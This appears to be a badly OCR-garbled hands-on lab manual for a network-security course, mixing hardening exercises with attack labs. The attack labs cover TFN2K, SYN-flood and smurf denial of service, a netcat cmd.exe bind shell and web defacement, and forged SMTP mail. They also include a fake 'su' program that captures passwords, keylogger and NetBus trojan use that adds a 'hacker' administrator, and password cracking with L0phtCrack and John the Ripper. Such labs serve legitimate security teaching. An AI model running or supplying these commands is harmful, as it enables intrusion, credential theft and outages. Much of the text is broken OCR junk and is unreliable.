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s SSL
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plisten
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s Web
s FTP

Winroute
WinRoute HTTP
WinRoute FTP

Red Button NT

UNIX PATH

WebTrends Security Analyzer
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NT
NT
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tracert
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Linux
AntiSniffer
SSH Server Telnet  rlogin
SSH
SSH FTP
SSH  Linux
Linux
Windows NTt Linux

Linux
Linux
1. root linux
2. anyuser/usr/shin/useradd anyuser

3. anyuser
Jusr/sbin/passwd
Changing password for user anyuser
New UN IX password
Retype UNIX password
4. anyuser
5. linux /bin/cat/etc/passwd
root:x:0:0:root:/bin/bash
bin:x:1:1:bin:/bin
daemon:x:2:2:daemon:/shin:
mail:x:8:12:mail:/var/spool/mail
named:x"25:25:Bind User:/var/named:
dnscache:x:410:405:dnscache user:/var/djbdns:/bin/true
xfs:x:414:414:X Font Server:/etc/S11/fs./bin/false
postfix:x:415:416:postfix:/var/spool/postrix:
mtsql:x:416:417MySQL server:/var/lib/mysqgl:/bin/bash
test:x:501:501:condor:/home/condor:/bin/bash
anyuser:x:502:506:zhengya:/home/julia:/bin/bash
6. root

7. /bin/chmod o-r/etc/
chmod Linux ,
8. anyuser , [etc/
9. Everyone ,
10. root ,
host  passwd

(current) UNIX password:

New UNIX password:

Retype new UNIX password:

Passwd:all authentication tokens updated successfully

Apache

Apache

1. root linux



host#rpm-ga| grep apache
host# apache-1.3.9-4

host#cd/
acltest :mkdir acltest
acltest , index.html

cd acltest
touch index.html
7. Vi index.html

<html>

<head>

<title>Create an ACL </title>

</head>

<body>

Thisis asecret page

</body>

</html>
8. [etc/httpd/conf/ .cd /etc/httpd/conf/
0. access.conf , (

<Directory/acltest>

AllowOverride All

</Directory>
10. , Vi srm.conf
11 ,
Alias/acltest/acltest/

o 0 M~ w

12. http restart Apache
[etc/re.d/init.d/httpd restart

13. lynx Web
lynx 192.168.1.x/acltest/

14. cd/acltest/ acltest

Apache :host#ps aux| grep httpd

/apachepasswd/.htpasswd

Apache

15. touch.htaccess htaccess
16. .htaccess ( ),
AuthUserFile/apachepasswd/.htpasswd
AuthGroupFile/dev/null/
AUthName AllowL ocal Access
require valid-user
17. , Apache
mkdir /apachepasswd
18. Apache webuserl,
htpasswd-c/apachepasswd/.htpasswd webuserl
New password:
Re-type new password:
19. lynx lacltest/index.html, ,
Apache ;
PGP
> >PGP>PGPkeys PGPkeys
Key Generation Winzrad Next



12

(x@linux-online.com) X
Diffle-Hellman/DSS Next
2048

passphrase passphrase passphrase

PGP Next
Send my key to the root server now Next
Finish PGPkeys

Subkeys



-online.

PGPkeys
Export
Export Key to File
\\Teacher\share
Microsoft Outlook Express(
Outlook Express
com,POP3/SMTP

PGPkeys Keys
Select File Containing
Select key(s)

studentx(x )
> >Qutlook Express)
--SX(X )
--192.168.0.14( )
\\Teacher\share
Import
Import

Sign
Allow signature be exported

Key Properties

Untrusted Trusted

invalid

Outlook Express

Current Window>Encrypt

hello world
PGP encryption

————HEGIN PGF MESSAGHE===—=
Vorzion: PePfresware 7.0.3 for non-commercizl uss
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, PGP encryption
encrypt from clipboard

passphrase
Decrypt PGP Message

Windows Notepad pgpstudentx(x ) Thisfileis encrypted.
> >PGP>PGPtools

Encrypt/Sign
Select File(s) pgpstudentx.txt
PGP Key Selection Dialog

passphrase pap

PGPLOG

Email
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HASH md5sum

root linux
md5test
cd/
mkdir mdStest
md5test cd md5test
myfile touch myfile
Vi myfile

Has anyone altered the contents of thisfile?
md5sum hash
[root@md5test]#md5sum myfile
md5sum myfilemd5
[root@md5Stest) mdssum myfile>myfilemds
myfile
md5sum hash
cat myfilemd5 cat myfilemd5
9 10

md5sum/etc/passwd/>passwd.md5 [etc/passwd

hash
passwd.md5 :cat passwd.md5

hashtest
Linux#useradd hashtest
Linux#passwd hashtest
Changing password for user hashtest
Nes UNIX password:
Retype new UNIX password:
passwd:all authentication tokens updated successfully

mdSsum-c  passwd.md5, -C
PGP VPN
VPN , PGP

1P

> >PGP>PGPnet

Add Host Wizard , Next

, Next
Enforce secure communications, Next
Next
1P , Next

1-_

—

Use public-key cryptographic security only , Next



9. Automatically , Next
10. Select Key...

13. Passphrase,

14. User Manager, Ciw, User Must Change Password at Next
Logon , 1234



15. PGPnet, Add

16. , IP

17. PGPnet , Hosts ?
18. FTP , ciw ; ,

19. SA

20.

Linux gnupg

gnupg Linus

1 Linux gnupg : Red Hat linux7.0

Linux rpm-qa| grep gnupg
gnupg-1.0.4-11

2. gnupg ,
Linus /usr/bin/gpg-gen-key
gp9(GnuPG)1.0.4;Copyright(C)2000 Free Software Foundation,Inc.
This program comes sith ABSOLUTELY NO WARRANTY.
Thisisfree software,and you are welcome to redistribute it
under certain conditions.See the file COPYING for details.

gpg:Warning:using insecure memory!
gpg:/home/zhuxg/.gnupg/secring.gpg:keyring created
gpg:/home/zhuxg/.gnupg/pubring.gpg:kdyring created
Please select what kind of key you wang:
(1)DSA and E1Gamal (default)
(2 DSA(Sign only)
(4)E1Gamal(sign and encrypt)
Your selection?
3. 1 ( DSA and EL Gamal )
DSA keypair sill have 1024 hits.
About to generate a new ELG-E keypair.
minimum keysize is 768 bits
default keysize is 1024 bits
highest suggested keysize is 2048 bits
What Keysize do you want?(1024)
4. 2048 ( )
Please specify how long the key should be valid.
O=key does not expire
<n> =key expiresin n days
<n>w=key expiresin n weeks
<n>m=Kkey expiresin n months
<n>y=key expiresin n years
Key isvalid for?(0)

5. o ( ); y
6. rdal name, email passphrase
7. passphrase , :ciwcertified;
, ) -gnupg
8.

Linux  gpg-list-secret-keys

Linux  gpg-list-keys
9. gpa,
Linus  gpg-export>machine2.asc
asc ;
10.
Linux  gpg-import machine2.asc

gpg-list-keys



11.
Linux  gpg-sign-key machine2

machine2 real name
pgp-list-sigs
12. ;
Linux eachothisisatest .>encryptfile
13.

Linux$ gpg-encypt-r receiver_public_keyname encryptfile
receiver_public_keyname

encryptfile.gpg cat encryptfile.gpg
14.
gpg —decrypt encryptfile.gpg
passphrase encryptfile
15.
Gpg —se— receiver_public_keyname filename
16.

gpg —d filename.gpg

sniffer
1 PGPnet  |PSec PGPnet
Disconnect Off
2 > >Sniffer>Sniffer Pro

3 Settings NIC OK

':;'___{ le:

- EE VWware Virtuel Ethernet Adepter
VHwere Virtuel Ethernet Adepter | __
PGPnet Virtuel Identity Adapter &5

4 Capture Define Filter Address

kny
Brosdeantf/iul Locest Address
Hast Table

 hddress Bonk

T
TESESRIR2E
il

5 Profiles

Hosts




Ci

Capture Profiles New

e

ipture Proliles

sX Done
Station | 1P Station 2

Start ( 1)

end and view ( 4 )
PGPnet
PGPnet
1S SSL
CA, SSL lis
1 > >Windows NT 4 0 Option Pack>Microsoft Intemet Information
Server>Internet Service Manager Key Manager

2 Internet Information Server



Key Manager
Key Manager WWw Create New Key

C NewKeyRqg txt

passwordl Next
Organization and Organizational Unit groupN Common Name
localhost Next
9 Next
10 Next Finish
11 KeyManager —F > >WindowsNT4 0Option
Pack>MuicrosoftCertificate Server>ProcessCertificateRequestFile
12 Open RequestFile C NewKeyRq txt Open
13 Save As Outfile C \hnewkey Save
14 KeyManager WWW — NewKey
Install Key Certificate
15 C newkey
16 passwordl
17 Any Unassigned IPAddress  Any Unassigned Port OK
Server Binding Add
18 Key Manager Yes
19 OK Default Web Site Properties
20 Intemet Service Manager web Properties
21 Secure Communications Edit
22 Secure Communications Require Secure Channel when accessing
this resource
23 OK
24 OK
25 IE http localhost
26 http https
27 OK
28 Yes SSL
29 Secure Communications Edit
30 Require Secure Channel when accessing this source
NAT
NetHosAuthe ¢ on  001(NAT)
1 nat—o Out Txt—uusemame Txt—pppasswd txt192 168 1 10 Out txt

username  txt passwd txt

W WINNT' System32' cmd.exe "

o e

F:\)nat -0 out.txt -u username.txt -p passud.txt 192 .168.1.18

2 out.txt
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GUEST*
*GUEET *

NAT

A W NP

helo<cr>

WindowsNT

telnet

NT

P s swmed ;

... . I

“RDHINIZTI
*RIEET *
“onT*
“noniM-
‘PASIVORD
*TEMP*
*EHARE "
ML
*FuLL*
"B
“iEE D
*FILES"

“ i
*TEST®
“ACEESS "
TWIER®

“EVETEM'
£

NETBIOS

E-malL

SMTP

Start>run
telnetl92 168 1 x(x

Terminal>Preference

mail from fake@anydomain com<cr>
rcptto  sx@linux-online com<cr>

data<cr>

SUbject ThisiSafakel<cr>
Helllo!'<cr>

Thisisafakel Don't accept it

<Cr>

quit<Cr>

<Ccr>

cmd exe

Tribe flood NetwOrk(TFEN)

1 root

2
cd

mkdirtribe

© 00 N o U~ W

)
&)
©)

UNC

tfn2k

tfn2k tar

tribe tfn2k src

TFN2K

1

root

TEN FLOOD

tribe

tribe

teacher\share
tZ2 gunziptfn2k

tribe tfn2k src

td

TEN

cdtribe

tgz

tin2k tgz

(<cr>

tfn2k tar

tfn2k tar-vxftfn2k tar

ciwcertified

make

fin

CRONTMISTHATOR ' Passusrd:

RORIFISTRATEN® Passwerd: ™
CROMIMISTHATOR® Passwerd: °|
Passuiied :
Fasnwnrd:
Passwnrd:
Fasnwnrd:
LET =TS H
Pasdward;
Pas shai- il
Panzemr:
Fas s 2
FAEFuned ;
PFasswnrd :
Paciwnry g
Pamganed
Pl i i 5
Pantnsnrg
Fars e
Passewrd: “BEACKEP

a

|

tribe
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(@D} Performance Monitor Processor Time  Messages sec

2 Sniffer Pro Capture>Define Filter dos attack

()
4 Sniffer
5) Performance Monitor
3 1 tth-h192 168 1 x-c6 -1192 168 1 vy
(x y )
4 1 (ciwcertified)
5 TFN2K TEN
ICMP echo
6 2 Performance Monitor
7 1 linux ping—f —-s65000 192 168 1 X
8 I TEN ICMP syn flood
ttn-h192 168 1 x(x )
9 1 TEN2K (ciwcenufied)
10 2 Sniffer Pro ICMP
IP
Linux
1 linux LILO linux single
2 root
3 passwd
PASSWORD it ishbased On adictionary word " root
bash#passwd

New UNIX password

Retype new UNIX password

passwd all authentication token supdated successfully
4 linux bash#shutdown — now
5
6

host#passwd

New UNIX password

Retype new UNIX password

passwd all authentication token supdated SuCceSSfully

Linux WindOWSNT

tfn

"BAD
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11
12
13
14
15
16
17
18

NT User Mananger linuxtest
linuxtest Administrators
Linux
LILO
Linux
ntchgpass SCSl
WindowsNT NTSAM
SAM
linuxtest
Y
!
Y SAM
CTRL+ALT+DEL
administrator
WindOWSNT
1 HTTP FTP
2 Network Neighborhood Properties>Protocols
3 Properties Advanced
4 Advanced IPAddressing Enable Security
5 TCP IP Security Permit All  Permit Only
TCP UDP IP
6 TCP Ports Permit Only Add 80
7 OK
8 Web FTP
9 80 21
plisten
1 plisten
1 Listening On Port 1300

TCP

IP Protocol

Configure



, SkreamsPort Listener - On Pur.t 13

1 h_- :J‘ ; ﬂmﬁ -t

2
2 1300 Telnet
1
1

IP

Port Listensr Preferentes. : 2 .~ : E] E
” ] J e LT A1 e e e
{ Optioeis f paity |
W Stetpror 2000

r“ Log Te: ; sdeens Fislinioo Bioee

I StagOnTop T Minimize To Syztem Tay

0K l Cancel ; S :

StantupPort Plisten LogTo
Notify

Plisten

NT NC(NetCat)
1 inetpub  wwwroot defauit  htm web
2 I userl ciwcertified User Must
Change Password
3 1 c nc nc
4 1 c \nc

nc-v-L-ecmd Exe—p 2000 —syour_ip_address
cmd exe 2000

5 2 2000 telnet 1
telnet ip_address2000
6 1 C inetpub  wwwroot
7 echo you have been hacked>default htm( 1 WEB
default htm)

8 1Web
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de il s = -

1:'. U nrrem i & and Sedt s A oo aelsaber, SR TTY 0L delail 8w I: ¥
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D3 3 Ous G S5 By BB KG "

HME | heiie @005

=] #rR | -

yoru [mve been hacked!

Bl =R === e ¢
IS
IS
1 C inetpub  wwwroot C
2 C WWWroot C webfiles
3 HS( >
Server>|ntemet Service Manager)
4 web Default WebSite
5 Default WebSite
6 Service Properties
7 studentx(x )
8 HomeDirectory
9 LocalPath C webfiles
10 Directory Security
11 IP
12 web
13
IS
lIs FTP
1 C inetpub nproot C ftpfiles
2 lis DefaultFTPSite FTP
3 DefaultFTPSite Properties
4 FTP SxFTP(x )
5 Home Directories FTP
Access
6 Directory Security
7 FTP
8
9 IP

10, FTP

=]
. Li|
(=t uC ”
Web
P

Properties

C webfiles

FTP

C ftpfiles

FTP

>WindowsNT4 0 option Pack>Miacrosofi Intemet Information

Stop

Read

FTP

Log



FTP

FTP
1 hidden
2
3 hidden
4 192 168 1 x\hidden$(x )
hidden
5 UNC teacher~share net-fizz Happy Browser winfingerprint
C
6 CSnet-fizz exe 192 168 1>scan txt (192 168 1
scan txt )
7 scan  txt
8 Happy Browser IP

FTP Cal




9 winflngerprint winfingerprint.exe

10 OK
11 Clear
12
Winroute
1 winroute Microsoft Proxy Server client
2 > >WinRoute Pro>WinRoute Administration
WinRoute ( admin) ( )

Setting>Advanced>PacketFilter
4 Packet Filter Any interface




5 No Rule Add Item

6 Protocol ICMP

8 ICMPTypes All

9 Action Drop

10 Log Packet Log into Winow
11 OK

12 Apply OK

13 ping 1P

14 View>Logs>Security Log



15

WinRoute
Anylnterface

Source

WinROute HTTP

SeUm9s>A dvanced>PacketFilter Outgoin9

NoRule TCP

Greater than(>) 1024

ga b~ W N P

Destination
80 Destination Port

Action
Log into window

type

Deny

Host IPAddress 192 168 1 Xx(x

web
HTTP
WinROute FTP

WinRoute Settings>Advanced>Packet Filter Outgoing

Any Interface NoRule TCP

Destination type Host IPAddress 192 168 1 x(x
Source Greater than(>) 1024
21 Destination Port



Action Deny
Log into window

FTP
10 FTP
Winroute WinGate SyGate Winroute
NAT Winroute
TCP IP
Red ButtOn NT
WindowsNT
1 RedBuuon ( http sd prosofttraining com  security

Administrator Assistant Red Button




anbed: RemotEServer Info

SECURITY

Administrator ( $ )
Administrator Red Button

4 Administrator Jacky Red Button

1

2 NAT NT
nat-oout Txt—uuser Txt-ppasswd Txtl92 168 1 X(192 168 1 X
1P ) user txt Henry
passwd txt 5
3 Henry Henry

NAT



MAIL

Mail
NT
7 14 1234567
abcdl234
1 Windows NT C winnt system32 passfilt dil
2 regedt32
3 ~X-IKEY LOCAL MACHINE SYSTEM CurrentControlSet
Control\LSA
4 NotificationPackages PASSFILT
5. NT  RecoursesKit passprop exe
passprop complex
passfilt  dll
NT
6
UNI X PATH
UNIX
PATH
1 Linux chage chage
-help  man chage
2 $chage —1 testuser
Minimum 0 [* ( )
M aximum 99999 I* 99999 *
Warning 7 * *
Inactive -1 * *

Last Change Octl6 2001 /* *



Password Expires Never I* *
Password inactive Never I*

Account Expires Never I* *
3 chage

Steven 30
5

$chage—-m 2 -M 30 -W 5 Steven
4 UNIX PATH set  env

PATH PATH= bin usr hin usr local bin usr hin X11

/home sl
configure $  configure
PATH configure
PATH

Su SU C

int main()

{
charbufll281 passwd[20]
system(*  bin stty -echo")
print(“Password ")
scanf(* S’ passwd)
system(* bin sty echo")
printf(“\nincorrect password\n")
sprintf(bUf “  bin echo S>> tmp catchpass' passwd)
system(buf)
system(*  bin rm tmp Su”)
exit(0)
}

$gcc—oSUSU C
$su
Password [ ]
Incorrect Password
tmp tmp/catchpass



1 ( http sl prosofitraining com  security) Invisible Key Logger

Stealth(IKS) iksntlod exe

2 Windows NT iksntlOd exe
NEXT YES
3 NEXT FINISH ReadMe
IKS
( DEMO
)

4
5 IKS

i FES e

6. Go! iks txt
NT
7. IKS NT iks sys
iks reg C \ProgramFiles
iks\Readme  txt
WindowsNT IKS
( )
Netbus

WebTrendS Security Analyzer

WindowsNT
1 WebTrends NetlQ Security Analyzer
http www  webtrends,com 14
2 AutoSync No

3 -> ->InetlQ Security Analyzer->NetlQ Security Analyzer



x ik A bealhost Critical Security Analsis
A Ftﬂﬁmﬁmm&w Complete Security Analysis
i Irtermediate Security Anaaiz of localhost Inlermediate Security Analysis

Inventary of localhost lnvertoy Scan
Pagzword Grinding on locathost Password Grinding Analysis

4 Security Analyzer
Critical Security Analysis of Localhost

5 Scan New Scan OK
"SA--Critica
Security Analysis Of localhost"

I T T e,

ll!r'_ o

| I3
A datmas Ll _..'_|_|.'_'_'J
——rr m——

]

mmhmr—wmm
.'" Adminatratr "Locl Setlings T emposary inisme Fi
e e ﬁnu-wmuzumd
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t WWELNT DLL checkaum

Goest acoem o apphcalion log

Gt scoen in secunly ing

R T Rl
B ugui i i1

Sean Descriplion: l-ndph o lecabast 1B
Hﬂ--l.-‘.i-hiﬂ-l ‘H% .
Vulnerabilities High Medium
Low High
Description Descriptin
Fiexed Needed
6 HTML
Critical Security Analysis of localhost Report

Analyzing: Critica Analysis of

i S R

| i Aunning lest “Windows 35/08 printer share” on localho: -
ﬁﬂndhﬂ'mmm;lﬂqm"mh:ﬂnﬁ

||| Aunning test “Unix System" on localhost (192.168.0.15( .
|| Firished test "Unix System” on locathost (192 168.0.15
[ 1 Aunning test 'I:dr.IFl.m-u“mm BE1BB.I11
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Vulnerabilities Most Vulnerable Hosts Graph
ol 1 TS
Most vulnerahle Hosts Graph =
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UNIX 7 r”
UNXI  rlogin
1 UNIX rlogin rlogin
etc inetd conf
#login stream tcp nowait root usr shin tcpdin rlogind
#
2 inetd inetd PID

Linux# pSaux grepinetd
root 2330 00 8 7652347 S Octl2 0:00 inetd

3 inet(d P1D 233
kill -HUP 233
4 rlogin
Linux# rlogin—1 username your_machine
username your_machine
5 test
IP 192 168 0 1
Linux# rlogin—1test192 168 0 1
Password  XXXXXX( )
6. rlogin rhosts
n rhosts
home user( )
P ( )
1P 192 168 0 2 test
home test rhosts
192 168 0 2 test
1P 192 168 0 2 2S

Linux# rlogin—1test192 168 0 1



rhosts

rlogin IP
rhosts IP rhost
rlogin
inetd conf 1 #

NT

1
WindowsNT
2
| Centicale Buptoriy -
Clglinak, ieevm I
I+ £ vl Spmiem . _’ﬂ:m
cam B8 ety | Y
Elfsh  Ea -
BB B 8 i
ERw ma » [ S8@ |
i e i e
B : e =l
r o
Schedule
3. WindowsNT Resources Kit c
sc qc schedule

moe wend. sz
i Windows WI{TH2
Copyright 1985—19%: Hicroszoft Corp.

herdile
Sor Confiy SUCCESS

SEMVICE_MAME: schedule
] {interactive?
E
ERRO TROL
BIHAR PMATH_HAHE
LOAD_CORDER_GROUP
- |
_MAME : Tazsk Bcheduler s
1ES E 3
E_START _MAHE localSycten

Schedule
Schedule
C  WmNNT\system32\M STask.exe Schedule
SC delete schedule
4 Schedule
mstask  exe



del ¢

winnt\system32\mstask exe

6.
WindowsNT
Server
NETBIOS WindowsNT Internet  Intranet
NETBIOS Server
NT
1 NT 139 NETBIOS
NT
netuse 192 168 0 1 ipc$” user "
IP 192 168 0 1 everyone
WindowsNT everyone
2 -> regedt32 HKEY —LOCAL—
MACHINE HKLMXSystem CurrentControlSet  Control\LSA

T HREEES - [EHRLE ety LOTAL MACHING
B iR R BERED BFEY T2

EJI(Q} ’Hl:l(h‘_} Eﬂb{ﬁ]....

- £ ContentindexComman _=:} auditbaseobjects : REG_ DWORD 0 {
—{ CrashControl Authenticalion Packeges : REG_MULTI_EZ i msv
— (8 CriticalDeviceDatabase Bounds : REG_BINARY : 003000 000020 000D
(3] DeviceClasses crashonsuditiail : REG_DWORD : 0 |
— 1 FileSystem fullprivilegeauditing - REG_BINARY : 00
— (] FomAssoc Imcompatibilindevel : REG_DWORD - €
— (31 GraphicsDrivers LsaPid : REG_DWORD : (x5 '
- (1 GroupOrderlist Maotification Pm::ka as: REG_MULT|_57: i"F'PN\-"I
_D'-w_ restiictanonymons : REG B
=1 hivelist SecureBoot REG_DWORD  Ox ‘
—(E1 IDConfigDB Security Packages | REG_MULTI_SZ ; kerhams fl
- (3] Kevboard Layout i
— (51 Kevboard Layouts -
-G MediaCategories
— (51 Medialnterdaces
- (] MediaProperties
= (] MediaResources
— (7] MediaSels
— (1 Network j
— (3] NetwaorkProwvider
-G Mls e
- 51 NTMS - kRS T Bl s
3 LSA restrictanonymous REG—DWORD
1
i1 i e _._;:'_ﬂ
e =]
| _BE |
1"“ n | nl-—l
=" | it = Lo
! il!l i 4] ) | L 0 |
4
5 NT SMB
SMB
6 LSA Imcompatibili  level REG_DWORD
1 1
7 SMB
8 , HKLMSystem CurrentCOntrol Set\services LanManServer\parameters

requiresecuritysignature

REG_DWORD



tracert

1 OK
9
10
11 regedt32
HKLM System CurrentControlSet Control\Print\Providers LanMan Print Services
Servers addprintdrivers REG—DWORD
1 OK
12
13 HKLM\System  CurrentControlSet  Control Session
Manager\Memory Management clearpagefileatshutdown
1 OK
14.
WindowsNT NT
http://www.webmaster.com.cn
FTP TELNET TCPWFapper
FTP Tenet
TCPWrapper
1 etc inetd conf
#
FTP
2 etc tipusers FTP
FTP etc fipusers
root FTP
3 TCPWrapper RedHatLinux
1s usr shin tcpd
4 etc inetd conf tcpd Telnet
telnet stream tcpnowait root usr shin tcpdin telnetd
Telnet tcp
5 tcpd etc hosts alow etc
hosts deny
(Daemon) (1P )
etc hosts alow etc hosts deny
6 etc hosts deny
ALL ALL
7 Telnet
Linux$ telnet local host
8 ciw com Telnet etc
hosts allow
in telnetd .ciw.com
9
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1 > crud

1))
B BB, s

n#F o Bl >

[(w= | ®m | mie |

2 tracert 192 168 1 x(x )
3 tracert sohu com

A L] 1l 1 § TG o] 2168 . 0,14]
L 41 51 1
151 r 411

S0 40

180 40
110 ins i n

dfl ™ a0 r

sohu
4 tracert yahoo com
5 linux tracertroute
Tracet
Ws_PingPrOpack
PingPro
1 UNC teacher\share PingPro

2 > >WS_pingProPack PingPro




2 WS_Ping ProPack

1 #ruiﬁmte ! hnhp I Fi """

Info |.;..-:hﬁ; i

Ihnt Iln o nj:mr 168.1.1
th:F E.. ' Jlnlqri a
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WS _Ping ProPack : ; 3 et : :'__-: : = |“_L¥J

Info | Time | HTHL t-r'i;gs__-a .":!"'*Tri:tﬁnrnh 1 Leokup | Finger | ¥hois | 1mar
Gwote | Sean | smp Waet | Thoughput | Abem

Fetwork Items: !&un.in: . _:_' ‘Help | Qlur l ‘Start I

.....

Hetwork .I:un:::":".‘lshtru -

......

PingPro
net

SNMP

SNMP

Network Neighborhood Properties>Services>SNMP Service
Properties Security
Accepted Community Names
Accept SNMP Packets From Any Host Field
Apply OK
Control Panel>Services SNM PServices
PingPro SNMP IP local host
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'.'_Z'. VWS Ping ProPack
Fle Edt Help

Iafo | Time | NML | Ping
Quote I Scan ; _m

hd:dru: .:Il"'lh““ - E |

Comemnty . L Cee A

B : o

meﬁmb e e e e e =
8 Community
Communi ty! !publj.-:
9 Get All Subitems
(* Get All Subiter
10 What Private>Enterpri se>lanmanager>lanmgr-2>
server>svUserTable OK 13614177 2 25
fhat: [1.3.6.1.4.1.77.1.2.25
11 NT
12
13 1 SnifferPro
14 2 PingPro SNMP PingPro
Community 10
15 1 EndandView
16
Community Community SNMP
17 2 SNMP
18 2 GetNext What 1361417712 3
HTTP FTP DNS POP3 SMTP
SNMP Community POP3 HTTP
SMTP FTP DNS LDAP
IPv4 (Telnet Ftp http )

LinUX Nmap

Linux nmap

1 nmap
host#rpm —q nmap
nmap —2.3BETAI4 -|



whereis (whereis nmap) find (find  -name nmap) nmap

2 nmap nmap

host#rpm — nmap —2_3BETAI4-1_i386 rpm

3 usr bin nmap -h

4 nmap-sP192 168 1 *(192 168 1 )

5 nmap-sS192 168 1 x(x

+50)

6 nmap TCP IP namp -0 192 168 1 x(x
+50)

7

8 U NT UDP nmap-sU192 168 1 x(x )

9 IP

nmap-sS192 168 1 x-S192 168 1 y-eethO-PO
(x y )

Nmap Unux Linux

ISS intemet Scanner

ISS
1 UNC teacher share ISS ISS
2 > >|SS>IntemetScanner6 0 1
3 CreateaNewSession Ok

T Tosd w Eﬁ'xﬁ'i.:};s From Databa

A7 Genevate « Bapor

Pt e L——

I Dox’ t show this dialog again
: g ' Cencel |
e

4 KeySelect iss key Next
5 PolicySelect L3NTServer Next
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6 New session wizard-Comment Lesson2
7 Specify Hosts Ping All Valid Hosts In You Key Range
8 Set Host Ping Range

Edit Range
9 Finish ISS

ety i b ]
L i )

=a @y e

wwing | Rapt
Bory (T ODL

Fumunked vwmming Elaguad Toss

Next
Next

1 |

nhisd Sramaing Hand l-:"I'EI!II tl:ru:l. 0 Pamniningl
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10 Intemet Scanner  ping

11
12
13 Scan
14

15 Vulnerabilities
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Edit>AddHost
P
ScanNow
Hosts To Be Scanned
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= Password Never Expires Administrator
- B 127.0.0.1 [xy]

| =€ Password Never Expires Guest [1]

! = 127.0.0.1 [xy]

=€ ras (1]

: -5 127.0.0.1 [xy]

17 What'sThis

&ﬁﬁ .

Passveord never expires

Rigk Lowval: 0 Low Check or Aitack Name: Password Never Expires

Platforms: Windows NT
Description: The user has a password that will never expire. Unless the user
is used for a service account and has & very strong passwond,
this setting will lower your security level, 28 an attackar has an E -
uniimited amount of me to guess the password, and an
unlimited amount of Bma to use the password ones it is
Quiss A

Remody; Femove the Password Never Expires option!

1. Open User Manager, From the Windows NT Sart manu,
seledt Programs, Adminstrative Toals [Common), Liser

Maracar, =]
ISS
18
19 ServicesandUsers

20 Policy . ApplyExisting

21 OK
22 HostsToBeScanned Status
ISS

Intranet firewall Web server
( tcpdump  Sniffer) PHP3

SYN FLOOd

SY Nflood |Pv4

1 1 WindowsNT netstat



netstat netstat
SYN Flood
2 2 linux UNC teacher~share synful ¢
3 2 synful ¢
host#gcc —O sinful synful ¢
synful
4 2 synful 1
host#. synful 192 168 1 x(X )
5 1 netstat SY Nflood
IP SYN
6 1 CTRL+C netstat
7 1 SnifferPro SYN
8 2 SYN flood
9 1
10 1 TCP ConnectionsPassive  Connection
11 2 SYN flood
12 1 SYN flood
13 linux
tcpdump
SMURF
smurf
smurf
1 WindowsNT Sniffer Pro
2 SnifferPro IP
3 1 Processor ProcessorTime
ICMP object Message sec Messages Recieced sec Received Echo Reply
sec
4 2 linux UNC teacher~share papasmerf.c
5 2 papasmerf,c smerf
host#gcc —DLINUX —O smurf papasmerf.c
6 2 broadcast txt (
IP IP ) IP (
IP )
host#touch broadcast  txt
host#vi broadcast  txt
7 2
host# smurf 192 168 1 xbroadcast Txt—picmp
8 1 Performance Monitor
9 Sniffer Pro linux ICMP
ICMP echo
10 2 Smurf
11 1 SnifferPro Monitor Matrix
smurf IP
12 Fraggle
host# smurf 192 168 1 xbroadcast Txt—P udp(x )
Smuff ICMP IP IP
smurf ICMP
IP
L OphtCrack WindOWSNT

NT



1 UNC teacher share LOpht

2 User Manager
admin adm superuser

4 > >L OphtCrack2 5>LOphtCrack2 5

LOphtCrack

LophtCrack

s a

5 Tools Dump Passwords from Registery
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7 LOphCrack

tool
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#y D:\LOphtCrack 2.5 pwdEic - LAphtCrack 2.5

File Edit Tools Window Help

w- d B :l :'.-._l—d-l—l— |__ -------- b b ST .
ords Done ?‘3153 _},_}EE'.LSE {'11 s Pana

-User Name : _i LanMari Passwnrd i <8 i N1 Password i LanMan Hash

Adminiscracor BECS94DAFFIDRARFTDSDOEE

Cuest HULL PASSWORD NULL PASSWORD FULL FPASSWORD

Fuyi AFBLAF474FS2BRDTOFS60S

4 - % | ks
*I - 3 ' ol G
Cracking... 1 of 3 Found {33%). il i

8 LOPhtCrack
LOphtCrack NT

John the Ripper Linux

John the Ripper

1 root linux
2 linuxconf,useradd adduser
wordsworth prelude
blake jerusalem
keats ode
host#useradd worsworth
host#passwd wordsworth

Changing password for user wordsworth
New UNIX password
BAD PASSWORD it'sWAY too short
Retype new UNIX password
passwd all authentication tokens updated successfully
3 crackfile touch crackfile
4 Vi ( )
root noyas
5 UNC teacher\share John the Ripper




6 john-1 6
host#tar —zxvf john —1_6_tar.gZ

7 john-1 6 src
cd/john-1 6 src
8 make type
host#make>type
9 VI type
10 make linux -x86 —any -elf
11 fjohn-1 6 run linux

host# /john-wordfile crackfile etc shadow

12 fjohn passwd shadow -show
13 John the Ripper
host# john etc shadow
14 CTRL+C John the Ripper
NetBUS
NetBusl 7 NetBus
1 LINC teacher\share NetBus
2 Administrator
3 IP Connect
OpenCO-ROM | [ inintervat [§0 avout | Addw | Connectt |
Show kmage | Function deley: [0 Momo | DeliP |  Scan |
BEg misnageT Exit Wiasthowis Mouse pos Gao to LN
SereEntETip Send tewd Listen Ky rhanisgyesr
Gt info Active wnds Soumd sysiem | Fillm rmansger
Ho connection ra Ty o S R e g
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et Tike: |
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Read Write
FullControl
7 RemoteFileManager Program

Application

8 NotePad Calculator User Manager for Domains  Server

9 NetBus Activewnds

Active windows

Active windows (active)
HetBus 1.70, by cf
Hetbus

1582 - Microsoft Word
nethus

Program Manager

11 NetBus
NetBus
NetBus

NetBus

NetBus

1 1 Sniffer Pro
2 1 NetBus
NetBus FileManager Romote File Manager

w
N

4 2 ShowFiles

5 1 NetBus
12345 12346

6 2 ServerSetup 1023

Server setup R 1]
TCP-port: [5463 I Log ualfic
Pazzwosd: |

‘When zerver n connected. rend nolily e-mail Lo

E-maal from:
|

SHTF-zerver

I
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2 NetBus

I Sniffer Pro
NetBus 12345 12346
NetBus
HKEY_LOCAL_MACHINE SOFTWARE Microsofi Windows CurrentVersion\Run
patch exe

HKEY_CURRENT_USER Patch Settings ServerPwd

NetBus

1 NetBus AppRedirect
2 C winnt system32 cmd exe
3 I O 9876

Application Redirect

; Applmtmn to rediect:
|- \Winnt\System32\Cmd exe

170 at port:
19876

Stalt | Ehiw I

4 9876

FTP net stop “ftp publishing service’
HTTP net stop “world wide web publishing service”

NetBus
PortRedirect ListenTCP-port 21  Redirect
host IP Redirect TCP-port 21 Enable

© 00 N O O

Port Redirect

Ensble | Close

10 FTP
11 FTP
12 Web net stop server
13 FTP HTTP
14 NotePad add bat
net user hacker passwd add
net local group administrators hacker add
15 NetBus add bat
hacker hacker

SessOnwall

IDS CASessionWall

1 > >Session Wall>SessionWail -3 SessionWall



m;w;

e B8 B Puadurs Jeogy teln

ODU &R (P pa gawnazRior

